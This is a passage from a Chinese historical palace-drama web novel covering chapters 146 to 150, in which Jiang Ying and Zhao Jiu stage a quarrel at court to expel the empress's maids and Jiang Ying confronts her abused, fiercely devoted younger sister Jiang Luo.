“怎么会?”姜璎诧异道,“我们新婚燕尔,感情正浓,我自然不会离弃你。”
“只是我们一开始说好的呀。凡事讲究公平,你有的东西,我当然也要拥有才是。”
姜璎恭敬垂眸,对里头的帝后道:“臣妇少时走丢,流落在外,如今父女相认,又得亲长族老怜惜万分,臣妇斗胆,还想请陛下皇后做主,允臣妇之子女,皆随母姓。”
这下连梁皇后都愣住了。
“你……”
“这天底下哪有子女都随母姓的!”赵太后咬牙切齿,一个也就罢了,还全部,这跟入赘有什么区别?!
“简直胡闹!”明惠帝沉声道。
刑如风跪在地上,时不时冒出几声闷咳,憋笑憋的好痛苦。
姜璎见大家都不乐意,也有了几分脾气,淡淡道:“臣妇忘了,赵咎不过一介白身,我们夫妻之间的事,自然不属国事。”
姜璎意思很明显了。
随便你们答不答应,我们家的事情你管不着。
“皇后娘娘,臣妇回去会立即操办龚四姑娘平妻的事宜,还请娘娘一视同仁,别忘了臣妇的平夫。”
“你……”
“够了!”明惠帝厉声道。
他冲了出来,看见赵咎几近惨白的脸色,头一回对女眷发脾气,“什么平妻平夫!大魏没有这样的规矩!赵家男人也从无纳妾的恶习!姜璎,你适可而止,否则——”
姜璎微微抬眸,否则什么?
明惠帝差点绷不住,嘴角微动,“否则别怪朕不念你父亲情面!”
明惠帝一向性情温和。
今日如此疾言厉色,还是头一回。
整个长乐宫都静了下来,宫人们噤若寒蝉。
“陛下……”梁皇后才开口,就感受到了一道强烈的目光落在自己身上。
赵太后的眼神是前所未有的冰冷。
梁皇后心中咯噔一下,她好像彻底得罪婆母了。
明惠帝走进来,扶着赵太后,愧疚道:“阿娘,您放心,我不会让他们胡作非为的。都是孩儿不孝,让您今日受累。”
梁皇后见明惠帝看也不看自己,心头涌上一阵空落落。
她暗暗咬牙,还以为有了孩子,明惠帝会千依百顺,现在看来……也不过如此。
明惠帝扶着母亲去歇息,经过赵咎夫妻时,他骂了一句:“还不把你媳妇带回去!”
赵咎抿了抿嘴,杏眸蒙着薄薄雾气,就跟被抽离了三魂七魄似的,看得人心一揪一揪。
姜璎,你好狠的心!
明惠帝心疼得差点泪崩。
“把龚四她们即刻带回来。”明惠帝阴沉着脸,吩咐内侍,丝毫不顾及里头梁皇后的颜面。
梁皇后咬了咬牙,却也不能真的给姜璎赐下“平夫”,
这颗天水姜氏遗失在外的“明珠”,竟然如此大气性!
“臣告退。”
“臣妇告退。”
姜璎行礼之后,起身往外走。
明惠帝推了赵咎一下,意思很明显:快追啊!
夫妻俩一前一后,赵咎试图去拉姜璎的手,被她不动声色躲开。
直到出了宫,上了牛车。
姜璎立马扑到赵咎怀里,还没坐稳,就被他扶着腰、托着脑袋,里里外外吻了个遍。
姜璎微微喘息着,声音难掩兴奋。
“我演的好不好?”
“好。”赵咎咬了一口她唇瓣,“还平夫呢,你准备要几个?”
“这种东西……”姜璎笑盈盈道,“当然是多多益善啦!”
“你想得美!”
赵咎忍不住磨牙。
今晚别想下床了!
第146章 攻心
明惠帝的动作很快,赵咎和姜璎前脚刚到家,后脚就看见以龚四姑娘为首的六名宫人被内侍领着离开。
龚四姑娘还不肯走,看见姜璎,就像是看见什么救命稻草,扑了上来道:“女君!你不是已经答应留下我们,为什么还要出尔反尔?我们到底哪里惹你不高兴了,女君,女君你不能这样!”
她尚未近身就被香薷等人拦下。
龚四姑娘暗自咬牙,噙着泪水,试图用可怜而柔弱的姿态打动蓼莪院的男主人。
姜珞见状,自然忍无可忍。
她上去就是一耳光,动作之快,白芨等人拉都拉不住。
“你一个没有品阶的宫女,也敢质问我姐姐,我给你脸了是吧?”
姜璎眉心一跳,“浓浓!”
语气不可谓不严厉。
龚四姑娘捂脸流泪,眼神怨恨地看着姜珞。
“你敢打我…”
“打你怎么了?不知尊卑的**,我想打便打!”姜珞才压下去的怒火又蹿了出来。
她生性骄纵,哪里容忍得了别人不把自己放在眼里。
龚四姑娘又恰恰踩中红线,姜珞没拽着她头发把她呼成个猪头都不错了!
龚四姑娘气得浑身颤抖,尖声道:“我是皇后娘娘的表妹,你算什么东西,也敢打我!”
姜珞冷哼一声,“我算什么?论理,我是卫国公府的亲戚,而你,只是一个小小宫人。论法,我是主子,你是奴才!还皇后娘娘的表妹,我看你素日里就知道狐假虎威,败坏皇后娘娘的声誉!”
“你、你……”
姜璎额角隐隐作痛,“白芨!把二姑娘带下去!”
姜珞不服气,但看见姐姐难看的脸色,还是耷拉了脑袋,灰溜溜离开。
完了…
她又没控制住脾气…
姜珞沮丧得不行。
姜璎深吸一口气,对内侍道:“容大人,家妹年幼无知,并非故意冒犯。”
容已是明惠帝的近身内侍。
他和赵咎对视一眼,笑了笑道:“女君放心,陛下仁厚宽容,皇后娘娘母仪天下,是不会把这点小事放在心上的。”
龚四姑娘瞪大双眼,他们说的这是什么话?
她可是梁皇后的表妹,皇亲国戚!
姜珞敢这么对她,就该治死罪!
怎么到他们嘴里就成了“年幼无知,一点小事”?
容已自然看出了龚四姑娘的不忿,他微微一哂,也没有解释,陛下的口谕,只说把人带回去,又没让三请四催、好生供着。
“九郎,女君,臣先告退。”
“嗯。”
赵咎看了眼姜璎,忍不住笑,“还生气呢?我看姜二也没说错。”
姜璎瞪他一眼。
还没说错?
哪家士族贵女会像她一样,张口闭口**?
赵咎摸了摸鼻子,在教育孩子方面,他还是暂避锋芒好了,反正不是自己亲生的。
“你今天好凶,都吓到我了。”他弱弱道。
“哪有?”姜璎以为他说的是宫里的事,“我们不是一开始就商量好的嘛。”
赵咎原本准备自己来做这个恶人,毕竟赵太后和明惠帝是他的亲姐/亲外甥,就算言辞过激,他们也不会太过生气。
姜璎也承认。
人的情感具有偏向性。
赵咎将人赶走,是爱护妻子、忠贞不二。
但要是换成她把人赶走,就算明惠帝和赵太后嘴上不说,恐怕心里也会觉得她斤斤计较,蛮横善妒。
她作为刚过门的新妇,就算是装,都要装出个恭谨温顺来,以免落人口舌。
这也是为什么她在一开始就选择收下那几个宫人的原因。
后面进宫的时候,姜璎忽然想起爹爹跟她仔细分析过赵梁两家的矛盾。
梁父厌恶赵堰,梁皇后又憎恨赵咎。
明惠帝夹在其中,可谓是左右为难。
他不忍心赵咎受委屈,却也舍不得落梁皇后的面子。
姜璎很清楚,要是在这种时候,赵咎或者赵太后,因为那几个宫人的事跟梁皇后杠上。
那么最好的结果也不过是各打五十大板。
既然如此,
为什么不能由她来做这个“刺头”呢?
赵咎甚至不用怎么歇斯底里、痛哭流涕,他只要沉默以对,摆出一副失魂落魄的模样。
赵太后和明惠帝就会心疼他。
从血缘上来说,他们三个是
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天然的同盟。
而姜璎的出现,以及难得展露的强势,会更加激化他们之间的情感。
因为在那一刻,他们有了一个共同的敌人——姜璎。
这种做法最大的好处,就是弱势的那一方,从梁皇后变成了赵咎。
而要是赵咎挡在姜璎前面,拉上赵太后一起,三个人“欺负”梁皇后。
那么,明惠帝绝对会不假思索偏向受了惩罚的妻子。
再加上腹中孩子的喜讯。
局势瞬间扭转。
大事化小、小事化无。
他们的讨公道,在明惠帝眼里就成了咄咄逼人。
姜璎不想影响到赵咎和明惠帝之间的感情,帝王生性多疑,哪怕明惠帝如今和善亲近,但日子久了,难免人心易变。
今日的说笑,指不定什么时候就成了以下犯上的罪证。
事实证明,姜璎今日的临场发挥恰到好处。
赵咎的隐忍茫然。
可把明惠帝心疼坏了!
就连梁皇后指责赵咎夫妻二人做戏,也被他毫不客气地驳了回去。
“什么叫做戏?你非要姜昀的女儿逆来顺受,欢天喜地地接受你的赏赐,才叫合乎情理?”
“赵咎是故意装得那么可怜!”梁皇后愤然道,“还有姜璎,如果没有赵咎的撑腰授意,她怎么敢处处顶嘴!”
“我不想跟你吵。”
明惠帝强忍着怒气,这事儿就这么过去不行吗?
阿娘都已经看在她有孕的份上不计较了。
她还想怎么样?
龚四姑娘哭哭啼啼地回了椒房宫。
脸上的巴掌印十分明显。
“表姐,姐夫!你们要给我做主啊!”
“小四?”梁皇后怒不可遏,“是谁打得你?赵咎,还是姜璎?”
明惠帝冷冷道:“小四,这是皇宫,不是你龚家的后院!”
皇帝肯给面子,是天大的恩典。
但要是有人顺杆往上爬,忘了自己的本分……那就是逾矩之罪!
梁皇后忍不住吼道:“高忱,你够了没有!小四都被赵家的人欺负成什么样了,你难道看不见吗?”
“不是赵家的人…是姜珞!”龚四姑娘哭道。
第147章 要是
“送二姑娘回去。”
没有训斥,也没有惩戒,但就是这么一句心平气和的话,令姜珞愣在原地。
“姐姐!我、我还没有用午膳呢…”她着急起来,去拉姜璎的袖子,却被躲开。
“这里没有你的午膳,日后不要再过来了。”姜璎道,冷峻的神情昭示着她这次有多生气。
姜珞惶惶不安地看着她,努力挤出笑容,讨好道:“姐姐,我知道错了,我以后一定控制住自己,不会……”
“这话你今日已经说过很多遍了。”
姜璎眼神中流露出的失望让姜珞心慌意乱。
她强忍着泪水,仰着脸讨好道:“姐姐,再给我一次机会吧,我会乖乖听话,我什么都听你的!”
“不用了。”
“为什么不用?姐姐,你不要我了吗?”
姜珞呆呆地看着她,有些手足无措,好半晌想起什么,慌忙举起手道,“姐姐、姐姐我知道错了,你再给我一次机会,或者,你砍我一根手指,你看,我有十根手指,可以砍十次的!姐姐,姐姐不要生气…”
她满脸哀求,声音越来越低,嘴里固执地念着“砍手指”三个字。
做错一次事情砍一根手指。
她有十根完好无缺的指头!
求求姐姐,求求姐姐,再给她一次机会。
除了白芨以外,没有人能听懂姜珞的话。
姜璎神情微妙,这已经不是姜珞第一次求她“砍手指”了。
她有心问个究竟,又打定主意要让她好好长个教训,遂硬下心肠,别过脸去。
“还不送二姑娘回去。”
“不、不,我不走,姐姐,姐姐你别不要我!”姜珞哭得稀里哗啦,整个人爆发出了前所未有的力气,竟然挣开了仆婢们的手,扑到姜璎脚边。
她死死抱着姜璎的大腿,一边哭一边道:“姐姐我真的知道错了,我可以去赔礼道歉,我可以、可以赔一根手指给她,你不要生气,求求你不要生气…”
头顶落下一声微不可查的的叹息。
姜璎半蹲下身,用帕子擦拭干净姜珞脸上的泪水,动作轻柔得让人想要痛哭流泪。
“浓浓,你回去好好想想,我为什么生气。”
“因为我**…”
“错了。”
姜珞呆了一下,又忙道:“因为我没有听姐姐的话。”
“又错了。”
姜璎摇头道:“我只给你三次机会,你错了两次,还有最后一次。”
“回去好好想,等我回门那日,再把答案告诉我。”
姜珞被送回了陆家。
香薷欲言又止,香附倒是直言心中疑惑。
“女君,二姑娘虽鲁莽了一些,可终究是一片赤诚。女君素来宽容,为何这次…这般严苛?”
“爱之深责之切。”赵咎从内室走出来,慢悠悠道,“你们女君要不是在意这个妹妹,又怎么会发这么大脾气?”
香薷香附等人默默退下。
姜璎手撑着额头,脑子里还想着“砍手指”的事儿。
赵咎跪坐她身后,轻轻揉着她的太阳穴,“还生气呢?陛下虽然爱重皇后,但并非不明事理之人,姜珞不会有事的。”
他嘴角噙着一抹冷笑。
龚四仗着是皇后表妹,自认为贵比公主,可没少嚣张跋扈。
梁家盐商发家,富得流油,可到底被士族瞧不起。汲汲营营多年,还试图花钱并入扶风梁氏和桂州梁氏,奈何人家瞧不上。
这种情况一直到嫡长女被封为太子妃,才渐渐有了好转。
如果说梁家有钱,常家有兵,那么龚家就是个普普通通的富户,要不是因为梁皇后的缘故,龚四这样出身,连进宫都只能当个洒扫宫人。
要不是这次梁皇后整出幺蛾子,赵咎都忘了还有龚四这么一个人。
上辈子,赵咎时常进宫同明惠帝商议要事。
有次被留下一同用膳,恰好梁皇后派人来送羹汤,那人正是龚四。
赵咎离宫时,还看见她被一众宫人围在中间,一脸得意洋洋。
“四姑娘,我们在赵九郎君的汤里放马尿,他要是吃出来了怎么办?不会有事吧?”一个小内侍问。
龚四冷哼一声,“赵家人都快死光了,你怕什么?”
赵咎本来就食欲不佳,只勉强用了几口饭,其他佳肴羹汤一口未碰。
听到他们的话,直接涌上一股反胃,差点把吃
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的都吐出来。
龚四还在笑:“他们士族有什么威风的?不照样死的精光吗?得亏我当初没嫁给赵咎,不然,什么时候守寡都不知道!”
嘲笑声渐远。
卫国公府没出事前,梁皇后提过一嘴,想把龚四嫁给赵咎。
明惠帝想也没想就拒绝了。
赵家什么门第,龚家什么门第?
龚四给赵咎做妾都不配,还想做正妻?梁皇后也太看得起她那个表妹了!
“我知道姜珞不会有事。”姜璎叹了口气,就算是看在父亲的面子上,明惠帝也不会把她怎么样。
但,
“她今日打皇后表妹,明日是不是就要打皇后了?”
“不会。”
赵咎笑了一下,就算梁皇后气不过,将人传召入宫,那不还有萧止柔吗?
就说受了惊吓病倒了。
梁皇后还能让人把姜珞抬进宫验明病情真假不成?
她要真这么做了,姜珞也不用活了!
干脆就一根白绫吊死,天水姜氏自然会联合各士族上书朝廷,给她讨回公道。
一个庶女,换皇后之位。
对姜昀来说是笔划算买卖。
赵咎眼眸微沉,他原本没想和梁皇后作对的,毕竟明惠帝有多么爱重皇后,他最是一清二楚。
但她要是选择跟他过不去……
那他也不会心慈手软。
“且先看着吧。”赵咎轻声道,就看这个孩子,能不能平安出生了。
陆家。
“啪——!”
姜珞硬生生挨了个巴掌。
萧止柔冷冷道:“你当你是公主不成,可以肆意妄为,想打谁就打谁?紫菀教出来你这么一个蠢货?净知道给阿池添麻烦!”
姜珞耷拉着脑袋,像是萎靡的蘑菇,也不觉疼痛,泪水已经流干,直至现在,还满脑子都是做错的原因。
“女君。”贴身仆婢劝了一句,“二姑娘也是为了大姑娘出气。”
“哼。”
萧止柔要不是看在她这份心还是好的,早打死她了。
她目光落在姜珞脸上。
尽管挨了一巴掌,可依旧无损明艳动人。
要是——
一个念头浮现脑海。
第148章 没用
不过几个呼吸的功夫,萧止柔的心里就有了主意。
她挽起一抹柔美的笑,向姜珞伸出手。
后者下意识闭上眼睛,本以为等来的是教训,没想到…
“好孩子。”
那双手落在姜珞脸上,不是巴掌,而是轻抚。
染了蔻汁的莹润指甲从脸庞滑至下巴,明明动作轻柔至极,却让姜珞硬生生起了一身鸡皮疙瘩。
她睁开眼,结结巴巴的喊:“姨、姨母。”
为什么用这种看她?
好吓人…
萧止柔轻笑一声,眼神紧紧锁在姜珞脸上,随着娇笑而露出几分妩媚清纯。
她说错了。
紫菀这样的忠仆,怎么可能培养出没用的东西?
“阿池生气,是因为担心你呀。”萧止柔发出一声喟叹,她眼中有疼爱,有感慨,但更多的,是势在必得。
美人展眉而笑,吐气如兰,附在姜珞耳畔,像是蜘蛛吐丝般,结出一张巨大的密网。
“一个商户女,口口声声要做赵咎的平妻,与你姐姐平起平坐,是因为什么?”
“因为她背后站着梁皇后啊。”
“陛下的爱妻,中宫之主。”
姜珞脸上浮现忿恨,“凭她也配!皇后弟妹众多,难道还能个个都肆意妄为?”
高家谋朝篡位就算了,现在就连梁家、龚家这种暴发户都能欺压他们一头!
难怪姨娘如此痛恨高家!
在顶级士族眼中,梁家就算出了一个皇后,也不过是寒门庶族,至于龚家,那更是粗鄙上不得台面的暴发户,也只有那些不入流的小士族才会巴结讨好他们。
姜珞的出身虽然时常被人诟病,但她到底是天水姜氏的女儿,论高贵,龚四给她擦鞋都不配。
是以,她压根就没想到打了龚四会给自己带来多**烦。
萧止柔无奈道:“梁家本就嫉恨赵家,皇后又因为常六郎的缘故,对赵咎怀恨在心,你说,她会不会给自己的表妹出气?”
姜珞愣了一下,喃喃道:“姐姐是担心我被皇后针对,所以才生气…”
萧止柔眼中露出几分满意,她知道就好,也不枉费阿池一片良苦用心了。
姜珞低头揉了揉眼睛,眼角沾着湿润的泪光,愧疚和自责如浪潮一般将她淹没。
姨母说的对,她就是一个蠢货。
她只知道给姐姐闯祸。
让姐姐担心。
呜咽从喉咙滚出,尽管姜珞捂着眼睛,可泪水还是争先恐后顺着指缝流下。
“阿池待你,向来是用心的。”萧止柔叹了口气,“只是如今她嫁到赵家,从身份上就矮了一头。皇后不好针对你,可总能想出办法,折腾阿池。”
姜珞咬了咬唇,“凭什么…赵咎难道就任由皇后欺负姐姐吗?”
“你也说了,她是皇后。”
萧止柔嘴角噙着一抹冷笑,真是什么杂鸡都能披凤袍。
“只要她一日是皇后,别说赵咎,就是赵咨、赵堰,见了她也得行跪拜之礼。你以为君臣二字,是说说而已的吗?”
“凭什么?”她轻轻咀嚼着,眼神陡然锐利,盯着姜珞一字一句道,“就凭你没有本事!所以连那种暴发户,都能欺负到姐姐头上!”
“我……”
“你要是个男孩,凭着天水姜氏的声望地位,早就可以入仕为官,做你姐姐的靠山!可你只是个女孩,你什么本事都没有,只知道闯祸惹事,还要你姐姐来操心,替你收拾烂摊子!”
萧止柔严厉的声音砸在姜珞心头。
她面色惨白,就跟被抽了灵魂似的,怔在原地。
是啊…
她为什么不是个男孩呢?这样她就可以保护姐姐,做姐姐的靠山。
她为什么这么无能…没用…
她是个只会拖后腿的废物。
“你要是皇后,这天底下,还有谁能欺负得了阿池?”萧止柔喃喃低语,似催眠一般,一个字一个字地敲着姜珞的神经。
她霍然抬头,眼底猩红一片。
水光打湿了睫毛,幼兽却露出了狰狞的獠牙。
萧止柔抚着她脸上的巴掌印,近似呢喃般道:“浓浓,好孩子,紫菀跟你说过的对不对?你的性命、你的生活、你所有的一切,
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都是阿池给你的。”
“如今,终于有了报答的机会。”
“你不会眼睁睁看着阿池受苦的,对不对?”
“对…”姜珞点头道,她咬着口中的软肉,脑海中浮现出龚四口出狂言的嘴脸。
如果不是因为有梁皇后撑腰。
龚四怎么敢这样嚣张?
血腥味自口腔蔓延。
姜珞像是在嚼咬仇人的血肉,猫眼迸发出前所未有的恨意。
都是她太没用,才会让姐姐受委屈!
·
很快就到了回门的日子。
如赵咎所料,梁皇后到底没有因为龚四而同天水姜氏作对,又或者说,明惠帝将她的刁难与怒火拦在了半路。
天水姜氏是北方士族之首,眼看姜昀赴任在即,明惠帝绝不允许两个女孩儿将事情闹大。
他对赵咎怀有深深歉意,流水般的赏赐送到蓼莪院,引人注目的宠信甚至盖过了梁皇后有孕的喜讯。
这令梁家心中愈发不满。
“姑娘、姑爷。”
姜昀的书房外,随从早已等候多时,神色恭敬地领两人进去。
竹帘掀起,日头穿过贴着云母片的窗户,在黑漆书案倒映出宛若流彩的光晕,广袖博带的侧影静静躺在书架。
“爹爹。”
听到这声呼唤,姜昀未语先笑,他伸出手示意女儿坐到自己身边,殷殷问道:“这几日住的可好?穿得这样少,路上着凉了没有?”
仆婢为姜璎脱下木屐,她穿着足衣踩在地板上,烧了地炕的书房,暖气自脚底渗透四肢。
她坐在父亲身边,笑道:“吃住一切都好。我穿得也不少呀,又是坐车来的,哪会着凉?”
姜昀摸了摸女儿的手,确实热乎,这才放下心来。
相比之下,赵咎就没有这么好的待遇了。
没人招呼,他摸了摸鼻子,坐在了姜昀的对面。
姜昀余光瞥到,从鼻子里哼出一声。
“你还有脸跟来?”
“爹爹!”
姜昀看了女儿一眼,悻悻然住嘴,他都还没说什么呢,就这么维护。
第149章 自己
赵咎倒是不觉得姜昀摆臭脸色,老丈人看女婿,能有几个是看得顺眼的?
他以后要是有女儿,绝对做的比姜昀还要过分。
“父亲教训的对,都是我不好,让阿池受委屈了。”赵咎恭声道,他不该因为成亲在即而得意忘形,疏忽了宫里还有一个梁皇后。
上辈子,也是这个时候。
赵咎远赴边关不久,收到了明惠帝的信。
他在信里殷殷叮嘱赵咎注意安危的同时,炫耀起了自己即将当爹的好事,孩子名字都想了好几张纸,字里行间尽是初为人父的喜悦。
可惜,那个孩子最终还是没能出生。
赵咎记得很清楚。
守城战成功的第十日,盛京来信。
不复之前每一次的絮叨,明惠帝的信里,只有薄薄一张纸。
他说:阿劫,我就知道你能守住城池,这个世上,我最信得过的就是你。
他说:卫国公府的孩子们一切都好,大郎也是,进步得很快,已经初具他父亲生前的风范,你放心,我会看顾好他们的。
越到后面,字迹越潦草。
甚至,有了泪痕。
信上说,梁皇后肚子里的孩子没有了。
明惠帝一笔带过,没有细说。但赵慎却派人给小叔送了密信,极为详细地说明了事情经过。
守城战的初次胜利,不仅让风雨中飘摇的卫国公府有了喘息之机,也狠狠踩了将军府的颜面,像是一记耳光,响亮地打在常山脸上。
他抱病推托,不肯上阵。
原以为能逼得明惠帝低头处置赵咎,谁曾想,赵咎竟然如此硬气,还打了个漂亮的翻身仗!
朝中上下不少人笑话常山。
一把年纪了,还把自己当根葱呢。真以为大魏少他一个,就要覆灭了?
常山的夫人进宫求见皇后,仗着昔日情分,跪在地上痛哭流涕,诉说着家中的不易。
梁皇后也实在无法忍受赵咎守城战的成功,一时昏了头,就去找明惠帝。
她以孩子威胁,让明惠帝换掉主将,命常山为大将军。
明惠帝没有答应,甚至自她怀孕以后,头一回怒斥道:“你疯了吗?临阵换人,动摇的不止是军心,更是我大魏的江山!”
梁皇后被骂懵了。
她没想到一向温柔敦厚的明惠帝,会这样训斥她。
“高忱,你、你是不是非捧赵咎不可?你忘了,我肚子里怀的可是你们高家的骨肉!”
明惠帝没忘。
所以他不愿与梁皇后发生争执。
正欲转身离开时,梁皇后死死拽住了他的手臂,非要让他二选一。
她不明白,为什么自己的丈夫要这么偏心赵咎!
变故就此发生。
梁皇后摔倒在地。
腹中的孩子化为一滩血水。
就这么离开了他们。
明惠帝无比自责。
信里,他把一切都揽到自己头上。
他说:我不该甩开袖子的,我当时鬼迷心窍,只想离开。
他说:我对不起皇后。我们之间…或许真的就是一桩孽缘。
他说:小舅,我的孩子没有了。
泪水打湿信纸。
赵咎甚至都能想象,明惠帝一个人坐在殿内流泪的画面。
他知道湛奴喜欢梁皇后。
所以重生回来,迟迟没对常梁两家下手。
但现在看来。
或许纵容也是一种残忍。
梁皇后不是姜璎。
明惠帝也打动不了她的心。
与其苦苦等候,还不如快刀斩乱麻。
姜璎给父亲沏了一壶茶,又陪着说了会子话,方才起身离开去寻姜珞。
临走时她把赵咎留下。
“你陪陪爹爹。”
翁婿俩大眼瞪小眼。
姜昀的臭脸又挂了起来,“我不用你陪,你爱上哪儿去上哪儿去。”
赵咎沉默许久,道:“父亲,我想我们应该好好聊一聊。”
守城战中,他没少和姜昀打交道。
一个守城主将,一个秦州刺史。
坐在一块喝茶,难免聊到家里。
卫国公府落得那种境地,姜昀倒是对赵咎生出一丝怜惜。
“你小子,也不容易。”
“我儿若是还在人世,我倒是可以考虑,让你做上门女婿。”
赵咎拒绝道:“我有妻子了。”
姜昀眼神奇怪,他记得赵咎还没成亲吧?
赵咎道:“是没成亲,但在我心里,她就是我的妻子。”
姜昀“哦”了一声,还是个情种呢,“那你等班师回朝,守了孝,就能成亲了。”
赵咎想了想,“我长姐不会答应的。还是等我**,再跟她结冥亲吧。”
姜昀:“……”
后背凉飕飕,这
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小子有点邪门,还是不跟他坐一块了。
赵咎想起往事,都不免感慨一句缘分奇妙。
“父亲,您此次回秦州,务必当心。”
“若匈奴来犯,朝廷派遣主将,我会主动请缨。”
姜昀斜睨了他一眼,见赵咎郑而重之,忽然想到什么,面色不由凝重起来。
匈奴蠢蠢欲动,屡犯边境。
此战不可避免,只待时机。
如今朝中老将能用的不多,常山算一个。
如果他没记错的话,赵咎和将军府的恩怨,还是因姜璎而起。
姜璎微微眯眼,“说罢,你是个什么打算。”
另一边。
姜璎看着姜珞,眉头微不可查地皱了起来。
“这就是你反思了两日的答案?”
“不、不对吗?”姜珞愣了一下,难道她猜错了?姐姐不是因为关心她才生气的?
漂亮的猫眼满是迷茫。
像只犯了错的小猫,怯生生地看着主人。
姜璎叹了口气。
姜珞听到叹气声就心慌,急急忙忙道:“姐姐你不要生气,再给我一次机会!我马上就能想出来的!”
想不出来了。
她的三观、思维乃至自我,都已经被固定得死死的。
姜璎静默片刻,握住了姜珞的手。
“浓浓,我最生气的是我自己,我当初…不该抛下你的。”
她救了她,也毁了她。
姜珞惊疑不定地看着姜璎,见她没有生气,脸上的不安才慢慢褪去,小声道:“本来就是啊!姐姐不该扔下我的,我又不怕死…”
活着最好,**也没什么大不了。
反正只要她们姐妹在一起。
就算沦落街头,她也会去要饭回来给姐姐吃的!
姜珞依偎在姜璎身边,“姐姐,我以后再也不会**了,就算要**,也是让白芨动手。你原谅了我对不对?”
“我原谅你,你也答应我一件事好不好?”
“我什么都答应姐姐!”姜珞满口道。
姜璎捧起她的脸蛋,神情是前所未有的认真,“你答应我,凡事要以自己为先。”
我不需要你为我做任何事情。
你可以爱我,但在爱我之前,请先一定最爱你自己。
几个月前,赵咎这样对她说。
几个月后,她把同样的意思,教给姜珞。
第150章 驯养
然而,姜璎的殷殷叮嘱,一番用心,落在姜珞耳中,是一个字也没听进去。
她眨了眨眼。
“姐姐,你叽里咕噜的说什么呢?是不是又不想要我了?”
这个“又”字带了一点闷气。
姜珞不懂得隐藏情绪,所思所想全都写在了脸上,是肉眼可看的不高兴。
她不明**姐为什么要说这样的话。
她的一切全都来自于母亲和姐姐,她生来就是为姐姐而存在,怎么能以自己为先?
这不是丧良心吗?
姜璎微微扶额,“没有不要你,只是让你把自己放在第一位。”
“我为什么要把自己放在第一位?我又不是多么重要的人。”姜珞皱眉,眼神困惑地望着姜璎,姐姐说的话越来越奇怪了,是不是还在生她的气?
姜璎握住她肩膀,甚至有种想要摇她脑袋的冲动。
“你怎么不重要了?”
“我对姐姐来说很重要吗?”
两个人鸡同鸭讲。
完全不在一条线上。
姜璎发出一声虚弱的呻吟,“啊…”她本来就不是什么能言善辩的人,被姜珞这么一搅和,连说话的力气都没了。
姜珞大惊失色,“姐姐,姐姐你怎么了?”
不会中邪了吧!
姜璎捏住她嘴巴,不许她再说话,随后深深吸了一口气,看向白芨,“姜珞这些年到底是怎么过来的,你一五一十地说。”
白芨眼神闪躲起来,神情吞吐,好半天才低下头。
“二姑娘她…小时候不是这样的。”
姜璎没有丢失之前,姜珞还是一个可可爱爱的糯米团子。
如果不出意外,她会拥有一个极其幸福美好的童年。
因为她的姐姐,是这个世上最好的姐姐!
但是后来——
在生母的教育下,姜珞有了一套专属于自己的独特见解。
她不知道什么是人格,什么是尊严。
从来没有人教过她这些。
生母视她如仇敌,从小到大,她听过最多的一句话就是:“为什么被**的不是你?!”
怨恨如幽幽鬼火。
日复一日地渗透进姜珞的血肉。
她被驯养成最合格的兽。
忠心耿耿,且锋利无比。
如果姜璎能够找回来,那么姜珞就是她手中的刀,反正她蛮横无理、骄纵任性,不管做出什么事,旁人都不会觉得奇怪。
顶多说一句,“啊,果然是妾室所出。”
如果姜璎没有找回来,那么姜珞的结局,除了死,再无第二条路可选。
姐姐**,她怎么还有脸活着呢?
姜珞是幸运的,在这个等级森严、灾异频发的时代,她能出生天水姜氏,被嫡母记在名下,从小锦衣玉食、仆婢环绕。
光是起点就已经甩了旁人几十条街。
哪怕后面遭遇不测,也有姜璎护着。
可她也是不幸的。
姐姐丢失的那一个月里,她被生母锁在小佛堂,与世隔绝。
无论如何哭泣哀求,也没有人理会。
只有那根手指静静地躺在地上,用干涸的血迹,陪伴她、警醒她。
——做错事情,是要有惩罚的。
姜珞的命是姜璎换的。
不能有任何的损伤。
那么,就子债母偿。
在那漫长的岁月里,“为姐姐付出”早就成了根深蒂固的思想。
任凭风刀霜剑也无法扭转。
哪怕海枯石烂也不会更改。
姜珞不会爱人,可她爱姐姐。
白芨说得含糊,又有所保留,姜璎只能凭借这一点点碎片去拼凑出她所不了解的一切。
原来…
这就是砍手指的由来。
她愣怔原地许久,直到手指无力垂地,两条软乎乎的手臂缠上了姜璎的身躯。
“姐姐,你可不可以不要再说这些奇奇怪怪的话了?你不要我的话,我会难过得死掉的。”
“姐姐,姐姐?!”
声音陡然惊惧。
姜珞松开了姜璎,手忙脚乱地给她擦眼泪,“姐姐,你哭了…你怎么哭了呀?是不是我又说错话了?”
眼泪越擦越多。
姜珞的心也跟着碎成了一片一片。
她当然不是什么好人。
一开始见面,她就被姜宝瑜哄骗着要收拾姜璎,足可见心性恶劣。
她的世界没有黑白对错,只有喜好选择。
“姐姐,不哭了好不好?”
“你要是不高兴的话,就打我骂我吧,不要哭
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了、不要哭了…”
姜珞说着说着,自己也跟着开始呜咽。
姜璎抬眸看着她,轻轻张开手臂,“抱一下吧。”
姜珞哭哭啼啼、毫不犹豫地扑进这怀抱,姜璎任由她像藤蔓一样缠自己。
很难改变也没关系。
总能一点点变好的。
“浓浓,你是听我的还是听姨娘的?”她轻抚着姜珞后脑勺,就听她想也不想,抽噎道,“我当然听姐姐的!”
来盛京之前,姨娘就说了,让她什么都听姐姐的。
这是刻在骨子里的东西,哪怕姨娘不说她也会照做。
姜珞把脸埋在姜璎颈窝,没有看见姐姐流泪。
因为她的声音听上去毫无异常。
“那你把姨娘说的话都忘掉,你只要快快乐乐、无忧无虑就够了,做错事情也不用怕,姐姐会教你的。”
“不用…砍手指吗?”姜珞迟疑了一下,怯生生道,“可是我很笨的,姐姐你还是严厉一点吧,不然我可能会故态复萌…”
“只要你不做伤天害理的事情,哪怕故态复萌也没关系。”
姜璎慢慢道:“就像这一次,我说过不要冲动冒失,上去**,你还是打了。错了就得罚,罚你抄二十遍族谱。”
“啊?”
姜珞傻眼了,还抱着一丝侥幸,“是从梁朝开始的族谱吗?”
姜璎不动声色抹去脸上泪痕,淡淡看着她,“自然是从先祖姜尚开始,要不怎么能算完整的族谱?”
姜珞眼前一黑,那二十遍得抄到猴年马月去啊!她揪着姐姐的袖子,哭唧唧道:“要不、要不还是砍手指吧。”
姜璎道:“我不会要一个身体残缺的妹妹。”
她抚摸姜珞的脸颊,语气温柔了许多,“这样的惩罚,是不是也能记住错误了?”
姜珞含泪点头。
“记住就好,我们争取错一次,永不再犯。”
“好。”乖乖点头。
萧止柔隔着窗牖望着这一幕,神情流露一点无奈。
也不知道姜珞这种蠢蛋,能不能取代梁氏在明惠帝心里的分量。
嗯…
或许,她可以推波助澜。
让人自取灭亡。
浅淡的笑意如昙花一现,很快隐没唇畔。
第151章 努力
书房。
